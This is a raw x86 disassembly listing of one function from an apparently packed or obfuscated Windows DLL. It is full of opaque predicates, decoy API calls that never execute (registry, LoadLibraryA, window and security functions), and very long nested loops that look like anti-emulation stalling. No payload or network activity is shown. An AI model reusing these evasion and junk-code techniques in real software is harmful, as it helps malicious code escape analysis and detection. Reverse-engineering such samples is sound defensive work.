mov dword [ebp - 4], 0x1f
mov dword [ebp - 0x100], 0xffffffff
mov dword [ebp - 0x3d8], 3
mov dword [ebp - 0x354], 0x5589b583
mov dword [ebp - 0x1c4], 1
mov dword [ebp - 0x10cc], 0xb962
mov dword [ebp - 0x1a4], 0xffffffff
mov dword [ebp - 0x480], 0xffffffff
mov dword [ebp - 0xa8], 0
jmp 0x1001cc61
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jge 0x1001cc83
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x4dc]
call fcn.1002246c
mov dword [eax], 0x90da
jmp 0x1001cc54
mov dword [ebp - 0xa8], 0
jmp 0x1001cc9c
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 4
jge 0x1001ccb8
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0xddc], 0x638ecf54
jmp 0x1001cc8f
push 4
pop esi
shl esi, 0
push 1
lea ecx, [ebp - 0x4dc]
call fcn.1002246c
mov eax, dword [eax]
mov dword [ebp + esi - 0xddc], eax
push 1
lea ecx, [ebp - 0x4dc]
call fcn.1002246c
cmp dword [eax], 0
je 0x1001ccf7
or eax, 0xffffffff
je 0x1001ccf7
mov dword [ebp - 0xd4c], 1
jmp 0x1001ccfe
and dword [ebp - 0xd4c], 0
push 4
pop eax
shl eax, 0
lea eax, [ebp + eax - 0xddc]
mov dword [ebp - 0x540], eax
push 0
lea ecx, [ebp - 0x4dc]
call fcn.1002246c
mov ecx, dword [ebp - 0x540]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x540]
cmp dword [eax], 0xffff
jb 0x1001cd42
mov dword [ebp - 0xbd8], 1
jmp 0x1001cd49
and dword [ebp - 0xbd8], 0
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x548], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x548]
mov dword [ebp + eax - 0xddc], ecx
mov eax, dword [ebp - 0x3d8]
cmp dword [ebp - 0x548], eax
jl 0x1001cd82
mov dword [ebp - 0x550], 1
jmp 0x1001cd89
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x550], eax
je 0x1001cda3
mov dword [ebp - 0x558], 1
jmp 0x1001cdaa
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x3d8]
cmp dword [ebp - 0x558], eax
jge 0x1001cdc4
mov dword [ebp - 0x560], 1
jmp 0x1001cdcb
and dword [ebp - 0x560], 0
push 1
lea ecx, [ebp - 0x4dc]
call fcn.1002246c
mov ecx, dword [ebp - 0x560]
cmp ecx, dword [eax]
je 0x1001cdee
mov dword [ebp - 0x568], 1
jmp 0x1001cdf5
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
je 0x1001d205
mov dword [ebp - 0xd0c], 0x129b8575
mov dword [ebp - 0x10d4], 0x1c77dcda
mov dword [ebp - 0xd5c], 0xb37d0226
mov dword [ebp - 0x10dc], 0xc84b7b83
mov dword [ebp - 0x10e4], 0xd44f4cc5
mov dword [ebp - 0x10ec], 0x3637b304
mov dword [ebp - 0x1194], 0
mov dword [ebp - 0x5d8], 0x336d065
mov dword [ebp - 0x119c], 0xfffffffa
mov dword [ebp - 0xc08], 0
mov dword [ebp - 0x11a4], 4
mov dword [ebp - 0xcfc], 0x41b0ce7a
mov dword [ebp - 0x11ac], 0xfffffff9
mov dword [ebp - 0x570], 0xffffffff
mov dword [ebp - 0x5e8], 0x1e183a09
mov dword [ebp - 0x448], 9
mov dword [ebp - 0xbfc], 0x39b9
mov dword [ebp - 0x5c8], 1
mov eax, dword [ebp - 0x3d8]
imul eax, dword [ebp - 0x570]
sub eax, 0xe24f93
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0xcfc], 0
jne 0x1001cf01
cmp dword [ebp - 0x100], 0
jne 0x1001cf01
and dword [ebp - 0x578], 0
jmp 0x1001cf0b
mov dword [ebp - 0x578], 1
mov eax, dword [ebp - 0x578]
sub eax, 0x7ca9b097
cmp eax, dword [ebp - 0x3d8]
jge 0x1001cf2a
mov dword [ebp - 0xbe4], 1
jmp 0x1001cf31
and dword [ebp - 0xbe4], 0
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x11b4], eax
push 1
lea ecx, [ebp - 0x4dc]
call fcn.1002246c
cmp dword [eax], 0
jl 0x1001cf5b
mov dword [ebp - 0xd34], 1
jmp 0x1001cf62
and dword [ebp - 0xd34], 0
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0xbf0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbf0]
mov dword [ebp + eax - 0xddc], ecx
mov esi, dword [ebp - 0x1c4]
push 1
lea ecx, [ebp - 0x4dc]
call fcn.1002246c
cmp esi, dword [eax]
je 0x1001cfa4
mov dword [ebp - 0x580], 1
jmp 0x1001cfab
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0x1c4]
cmp eax, dword [ebp - 0x580]
jl 0x1001cfc5
mov dword [ebp - 0xd04], 1
jmp 0x1001cfcc
and dword [ebp - 0xd04], 0
mov eax, dword [ebp - 0xbfc]
mov dword [ebp - 0x11bc], eax
mov eax, dword [ebp - 0x5d8]
cmp eax, dword [ebp - 0x100]
jge 0x1001cff2
mov dword [ebp - 0x588], 1
jmp 0x1001cff9
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x1a4]
cmp dword [ebp - 0x588], eax
jle 0x1001d013
mov dword [ebp - 0x590], 1
jmp 0x1001d01a
and dword [ebp - 0x590], 0
cmp dword [ebp - 0x590], 0xf535
jge 0x1001d032
mov dword [ebp - 0x598], 1
jmp 0x1001d039
and dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x5e8]
cmp dword [ebp - 0x598], eax
jle 0x1001d053
mov dword [ebp - 0x4e0], 1
jmp 0x1001d05a
and dword [ebp - 0x4e0], 0
or eax, 0xffffffff
sub eax, dword [ebp - 0x4e0]
cmp eax, dword [ebp - 0xd5c]
jge 0x1001d077
mov dword [ebp - 0x5a8], 1
jmp 0x1001d07e
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x480]
cmp dword [ebp - 0x5a8], eax
jle 0x1001d098
mov dword [ebp - 0x5b0], 1
jmp 0x1001d09f
and dword [ebp - 0x5b0], 0
cmp dword [ebp - 0x5b0], 0xfffffff8
je 0x1001d0b4
mov dword [ebp - 0x5b8], 1
jmp 0x1001d0bb
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x5c8]
cmp dword [ebp - 0x5b8], eax
jg 0x1001d0d5
mov dword [ebp - 0x5c0], 1
jmp 0x1001d0dc
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x1c4]
cmp dword [ebp - 0x5c0], eax
jg 0x1001d0f6
mov dword [ebp - 0x5d0], 1
jmp 0x1001d0fd
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x5c8]
cmp dword [ebp - 0x5d0], eax
jle 0x1001d117
mov dword [ebp - 0x5e0], 1
jmp 0x1001d11e
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x5d8]
cmp dword [ebp - 0x5e0], eax
je 0x1001d138
mov dword [ebp - 0x5f0], 1
jmp 0x1001d13f
and dword [ebp - 0x5f0], 0
mov esi, dword [ebp - 0x5e8]
push 1
lea ecx, [ebp - 0x4dc]
call fcn.1002246c
mov ecx, dword [ebp - 0x5f0]
sub ecx, dword [eax]
cmp ecx, esi
jg 0x1001d16a
mov dword [ebp - 0x5f8], 1
jmp 0x1001d171
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x5f8]
add eax, 6
sub eax, dword [ebp - 0xc08]
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x11c4], eax
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x11cc], eax
mov eax, dword [ebp - 0x448]
dec eax
mov dword [ebp - 0x448], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x448]
cmp ecx, dword [ebp + eax - 0xddc]
jl 0x1001d1cc
mov dword [ebp - 0x600], 1
jmp 0x1001d1d3
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0xd0c]
cmp eax, dword [ebp - 0x600]
jle 0x1001d1ed
mov dword [ebp - 0x608], 1
jmp 0x1001d1f4
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0x608]
mov dword [ebp - 0x1c4], eax
jmp 0x1001d2f1
mov dword [ebp - 0xc14], 0x6b31b79e
mov dword [ebp - 0x100], 0
jmp 0x1001d228
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xffffffea
jne 0x1001d2f1
mov dword [ebp - 0x1a4], 0x18
jmp 0x1001d24e
mov eax, dword [ebp - 0x1a4]
dec eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x10
jg 0x1001d2ec
push 4
lea ecx, [ebp - 0xed8]
call fcn.100223ce
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x3e0], 0
jmp 0x1001d285
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 4
jge 0x1001d2a4
push dword [ebp - 0x3e0]
lea ecx, [ebp - 0xed8]
call fcn.1002246c
or dword [eax], 0xffffffff
jmp 0x1001d278
mov esi, dword [ebp - 0xc14]
push 0
lea ecx, [ebp - 0xed8]
call fcn.1002246c
mov dword [eax], esi
mov byte [ebp - 0x16b], 0
movzx eax, byte [ebp - 0x16b]
test eax, eax
je 0x1001d2d8
push 0
push 0x94a
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xed8]
call fcn.10022450
jmp 0x1001d241
jmp 0x1001d21b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4dc]
call fcn.10022450
or dword [ebp - 0x1cc], 0xffffffff
mov dword [ebp - 0x14], 0xfffffff6
mov dword [ebp - 0x158], 0x513c
mov dword [ebp - 0x210], 0x15e82aa9
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x1bc], 0xf78d7cba
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x158]
cmp eax, dword [ebp - 0x14]
jl 0x1001d356
mov dword [ebp - 0x620], 1
jmp 0x1001d35d
and dword [ebp - 0x620], 0
mov eax, dword [ebp - 0x210]
cmp eax, dword [ebp - 0x14]
jl 0x1001d37d
cmp dword [ebp - 0x150], 0
je 0x1001d37d
mov dword [ebp - 0x610], 1
jmp 0x1001d384
and dword [ebp - 0x610], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x610], eax
jl 0x1001d39b
mov dword [ebp - 0x618], 1
jmp 0x1001d3a2
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x618], eax
jge 0x1001d3b9
mov dword [ebp - 0x628], 1
jmp 0x1001d3c0
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0x620]
add eax, 5
cmp eax, dword [ebp - 0x628]
jl 0x1001d3e3
cmp dword [ebp - 0x14], 0
je 0x1001d3e3
mov dword [ebp - 0x630], 1
jmp 0x1001d3ea
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x630]
cmp eax, 1
jne 0x1001d407
cmp dword [ebp - 0x14], 0
jne 0x1001d407
and dword [ebp - 0xd3c], 0
jmp 0x1001d411
mov dword [ebp - 0xd3c], 1
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x1244], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
je 0x1001d56e
mov dword [ebp - 0x1bc], 0
jmp 0x1001d44c
mov eax, dword [ebp - 0x1bc]
dec eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0xffffffe7
jle 0x1001d56c
mov dword [ebp - 0x14], 0xf
jmp 0x1001d469
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffef
jg 0x1001d567
mov dword [ebp - 0xc1c], 1
mov dword [ebp - 0x210], 0
jmp 0x1001d496
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x24
jl 0x1001d562
mov dword [ebp - 0x35c], 0
jmp 0x1001d4bc
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 1
jge 0x1001d4d8
mov eax, dword [ebp - 0x35c]
mov dword [ebp + eax*4 - 0x638], 0xba3f
jmp 0x1001d4af
mov dword [ebp - 0x150], 0
jmp 0x1001d4f1
mov eax, dword [ebp - 0x150]
dec eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
jl 0x1001d545
mov dword [ebp - 0x158], 0
jmp 0x1001d513
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jg 0x1001d538
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp + eax*4 - 0x638]
mov ecx, dword [ebp - 0x158]
mov dword [ebp + ecx*4 - 0x638], eax
jmp 0x1001d506
cmp dword [ebp - 0xc1c], 0
je 0x1001d543
jmp 0x1001d545
jmp 0x1001d4e4
mov byte [ebp - 0x115], 0
movzx eax, byte [ebp - 0x115]
test eax, eax
je 0x1001d55d
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
jmp 0x1001d489
jmp 0x1001d462
jmp 0x1001d43f
jmp 0x1001d5c9
mov dword [ebp - 0x3e8], 0
jmp 0x1001d587
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 2
jge 0x1001d5a3
mov eax, dword [ebp - 0x3e8]
mov dword [ebp + eax*4 - 0xf9c], 0x8f8f6a1c
jmp 0x1001d57a
mov dword [ebp - 0x14], 0
jmp 0x1001d5b3
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1001d5c9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf9c], 0xffffffff
jmp 0x1001d5ac
cmp dword [ebp + 0x10], 0
jbe 0x1001dae2
mov dword [ebp - 0x3f0], 7
push 1
lea ecx, [ebp - 0xaf4]
call fcn.100223ce
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x364], 0
jmp 0x1001d60a
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 1
jge 0x1001d62c
push dword [ebp - 0x364]
lea ecx, [ebp - 0xaf4]
call fcn.1002246c
mov dword [eax], 0x5b3b9da4
jmp 0x1001d5fd
mov dword [ebp - 0x3f0], 0xfffffffa
jmp 0x1001d645
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0x16
jl 0x1001d807
mov dword [ebp - 0x28c], 1
mov dword [ebp - 0x648], 0x18d303f0
mov dword [ebp - 0x36c], 0
jmp 0x1001d67f
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 3
jge 0x1001d69b
mov eax, dword [ebp - 0x36c]
mov dword [ebp + eax*4 - 0x12a4], 0x73e70d2
jmp 0x1001d672
mov dword [ebp - 0x28c], 0
jmp 0x1001d6b4
mov eax, dword [ebp - 0x28c]
dec eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0xfffffff6
je 0x1001d7e3
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x124c], 2
mov dword [ebp - 0x160], 0
jmp 0x1001d6ee
mov eax, dword [ebp - 0x160]
dec eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0
jl 0x1001d7a0
mov dword [ebp - 0x218], 0x66e58d02
mov dword [ebp - 0xd14], 0
mov dword [ebp - 0x218], 0
jmp 0x1001d728
mov eax, dword [ebp - 0x218]
dec eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jl 0x1001d773
push dword [ebp - 0x160]
lea ecx, [ebp - 0xaf4]
call fcn.1002246c
mov dword [ebp - 0x640], eax
push dword [ebp - 0x218]
lea ecx, [ebp - 0xaf4]
call fcn.1002246c
mov ecx, dword [ebp - 0x640]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x640]
mov eax, dword [eax]
mov dword [ebp - 0xd14], eax
jmp 0x1001d71b
push dword [ebp - 0x160]
lea ecx, [ebp - 0xaf4]
call fcn.1002246c
mov esi, eax
push dword [ebp - 0x160]
lea ecx, [ebp - 0xaf4]
call fcn.1002246c
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x1001d6e1
mov dword [ebp - 0x648], 0xd0357257
mov eax, dword [ebp - 0x648]
inc eax
cmp eax, 0x60cb
jne 0x1001d7c4
mov dword [ebp - 0x650], 1
jmp 0x1001d7cb
and dword [ebp - 0x650], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x650]
mov dword [ebp + eax - 0x12a4], ecx
jmp 0x1001d6a7
mov byte [ebp - 0x17f], 0
movzx eax, byte [ebp - 0x17f]
test eax, eax
je 0x1001d802
push 0
push 0x143b
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
jmp 0x1001d638
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaf4]
call fcn.10022450
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1001dadd
mov dword [ebp - 0xe0], 0xffffffff
mov dword [ebp - 0x1254], 0xfd66
mov dword [ebp - 0x80], 0
jmp 0x1001d84c
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jge 0x1001d862
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x1260], 0xc64a
jmp 0x1001d845
mov dword [ebp - 0x80], 0
jmp 0x1001d872
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jge 0x1001d888
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x42c], 0x60b4ffb8
jmp 0x1001d86b
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x42c], 0
jmp 0x1001d8b6
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x42c]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x42c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x42c], 0
jg 0x1001da0c
mov dword [ebp - 0x400], 0
mov dword [ebp - 0x1268], 1
push 2
lea ecx, [ebp - 0xef0]
call fcn.100223ce
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x374], 0
jmp 0x1001d90b
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 2
jge 0x1001d92a
push dword [ebp - 0x374]
lea ecx, [ebp - 0xef0]
call fcn.1002246c
and dword [eax], 0
jmp 0x1001d8fe
mov byte [ebp - 0x120], 0
movzx eax, byte [ebp - 0x120]
test eax, eax
je 0x1001d94c
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x400], 0
jmp 0x1001d965
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0
jg 0x1001d9f8
mov dword [ebp - 0x1270], 0xffffffff
mov dword [ebp - 0x408], 0
jmp 0x1001d995
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 1
jge 0x1001d9b1
mov eax, dword [ebp - 0x408]
mov dword [ebp + eax*4 - 0x125c], 0xfffffff9
jmp 0x1001d988
push 0
lea ecx, [ebp - 0xef0]
call fcn.1002246c
mov dword [ebp - 0x658], eax
mov eax, dword [ebp - 0x658]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x658]
mov dword [ecx], eax
mov byte [ebp - 0x173], 0
movzx eax, byte [ebp - 0x173]
test eax, eax
je 0x1001d9f3
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
jmp 0x1001d958
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xef0]
call fcn.10022450
jmp 0x1001d89b
mov dword [ebp - 0xe0], 1
jmp 0x1001da25
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jl 0x1001dad2
mov dword [ebp - 0x3d4], 0xc039ecf4
mov dword [ebp - 0x3d4], 0
jmp 0x1001da55
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 1
jg 0x1001dacd
mov byte [ebp - 0x122], 0
movzx eax, byte [ebp - 0x122]
test eax, eax
je 0x1001da78
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ebp + ecx*4 - 0x42c]
cmp ecx, dword [ebp + eax*4 - 0x42c]
jg 0x1001daa0
mov dword [ebp - 0x660], 1
jmp 0x1001daa7
and dword [ebp - 0x660], 0
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp + eax*4 - 0x42c]
imul eax, dword [ebp - 0x660]
mov ecx, dword [ebp - 0xe0]
mov dword [ebp + ecx*4 - 0x42c], eax
jmp 0x1001da48
jmp 0x1001da18
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0xa4], ax
jmp 0x1001f946
mov eax, dword [0x1098d0d8]
and eax, 1
jne 0x1001db19
mov eax, dword [0x1098d0d8]
or eax, 1
mov dword [0x1098d0d8], eax
mov dword [ebp - 4], 0x23
mov ecx, 0x1098d0b4
call fcn.10022492
push 0x100753bd
call fcn.1005aefb
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x384], 0x24a8c6a5
mov dword [ebp - 0x1178], 1
mov byte [ebp - 0x124], 0
movzx eax, byte [ebp - 0x124]
test eax, eax
je 0x1001db49
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
mov dword [ebp - 0x384], 0
jmp 0x1001db62
mov eax, dword [ebp - 0x384]
dec eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0xfffffffb
jle 0x1001db87
mov byte [ebp - 0x175], 0
movzx eax, byte [ebp - 0x175]
test eax, eax
je 0x1001db85
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x1001db55
movzx eax, byte [0x1061d935]
test eax, eax
je 0x1001e7a2
mov ecx, 0x1098d0b4
call fcn.10022557
movzx eax, al
test eax, eax
jne 0x1001e7a2
mov dword [ebp - 0x668], 0x7f68
mov dword [ebp - 0xc24], 0x10007f94
cmp dword [ebp - 0x668], 0x803c
jle 0x1001dcad
and dword [ebp - 0x3dc], 0
jmp 0x1001dbe5
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0x3ade
jge 0x1001dcad
and dword [ebp - 0x394], 0
jmp 0x1001dc0b
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0x733d
jge 0x1001dca8
and dword [ebp - 0x414], 0
jmp 0x1001dc31
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0x1edd
jge 0x1001dca3
and dword [ebp - 0x38c], 0
jmp 0x1001dc53
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0x4cb1
jge 0x1001dca1
mov ecx, dword [ebp - 0x414]
add ecx, dword [ebp - 0x38c]
mov eax, dword [ebp - 0x3dc]
cdq
idiv dword [ebp - 0x394]
xor edx, ecx
mov eax, edx
cdq
mov dword [ebp - 0xbf8], eax
mov dword [ebp - 0xbf4], edx
push dword [ebp - 0xbf4]
push dword [ebp - 0xbf8]
mov ecx, 0x1061c7f8
call fcn.100221af
jmp 0x1001dc46
jmp 0x1001dc24
jmp 0x1001dbfe
jmp 0x1001dbd8
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x668], 0x7e55
jge 0x1001dcd0
mov edx, dword [ebp - 0xc24]
mov ecx, 0x1061c7f8
call fcn.10024b94
jmp 0x1001dcec
or dword [ebp - 4], 0xffffffff
jmp 0x1001dcf6
mov dword [ebp - 0x18], 0xc45cdbe8
mov dword [ebp - 0x6c], 0x6a67606e
mov dword [ebp - 0x488], 0x47cf2842
mov dword [ebp - 0xcc8], 0xfffffffb
mov dword [ebp - 0x84], 0
jmp 0x1001dd31
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jge 0x1001dd4d
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x188], 0xffffffff
jmp 0x1001dd24
mov dword [ebp - 0x84], 0
jmp 0x1001dd66
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jge 0x1001dd82
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x4d0], 0xfffffffc
jmp 0x1001dd59
mov dword [ebp - 0x18], 1
jmp 0x1001dd92
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x1001e03f
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x188], 0
je 0x1001df44
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x188], 0xbff5ecce
jne 0x1001dddb
xor eax, eax
inc eax
jne 0x1001dddb
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x188], 0
jne 0x1001dddb
and dword [ebp - 0x670], 0
jmp 0x1001dde5
mov dword [ebp - 0x670], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x188]
cmp dword [ebp - 0x670], eax
je 0x1001de03
mov dword [ebp - 0x678], 1
jmp 0x1001de0a
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x188]
add eax, dword [ebp - 0x678]
cmp eax, 0x56fd8c65
jg 0x1001de2d
mov dword [ebp - 0xcc0], 1
jmp 0x1001de34
and dword [ebp - 0xcc0], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1264], eax
cmp dword [ebp - 0x18], 0
jne 0x1001de59
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x188], 0
jne 0x1001de59
and dword [ebp - 0x680], 0
jmp 0x1001de63
mov dword [ebp - 0x680], 1
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x188]
add ecx, dword [ebp - 0x680]
cmp ecx, dword [ebp + eax - 0x188]
jne 0x1001de91
mov dword [ebp - 0x688], 1
jmp 0x1001de98
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x688], eax
jl 0x1001deaf
mov dword [ebp - 0x690], 1
jmp 0x1001deb6
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x690]
sub ecx, 8
push 4
pop edx
imul edx, edx, 0
mov edx, dword [ebp + edx - 0x188]
imul edx, ecx
cmp edx, dword [ebp + eax*4 - 0x188]
jle 0x1001dee7
mov dword [ebp - 0x698], 1
jmp 0x1001deee
and dword [ebp - 0x698], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x188]
imul eax, dword [ebp - 0x698]
test eax, eax
je 0x1001df22
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x188], 0
je 0x1001df22
mov dword [ebp - 0x6a0], 1
jmp 0x1001df29
and dword [ebp - 0x6a0], 0
imul eax, dword [ebp - 0x6a0], 0xf4ff
cmp eax, dword [ebp - 0x6c]
jne 0x1001df44
mov dword [ebp - 0x6a8], 1
jmp 0x1001df4b
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x6a8], eax
jg 0x1001df62
mov dword [ebp - 0x6b0], 1
jmp 0x1001df69
and dword [ebp - 0x6b0], 0
mov eax, dword [ebp - 0x18]
imul ecx, dword [ebp - 0x6b0], 0xb5b0
cmp ecx, dword [ebp + eax*4 - 0x188]
jne 0x1001df8b
mov dword [ebp - 0x6b8], 1
jmp 0x1001df92
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x6b8], eax
je 0x1001dfa9
mov dword [ebp - 0xc2c], 1
jmp 0x1001dfb0
and dword [ebp - 0xc2c], 0
mov eax, dword [ebp - 0x6c]
sub eax, 0x38f18b45
cmp eax, 0xfffffffe
jle 0x1001dfc9
mov dword [ebp - 0x6c0], 1
jmp 0x1001dfd0
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x6c0]
sub ecx, dword [ebp + eax*4 - 0x188]
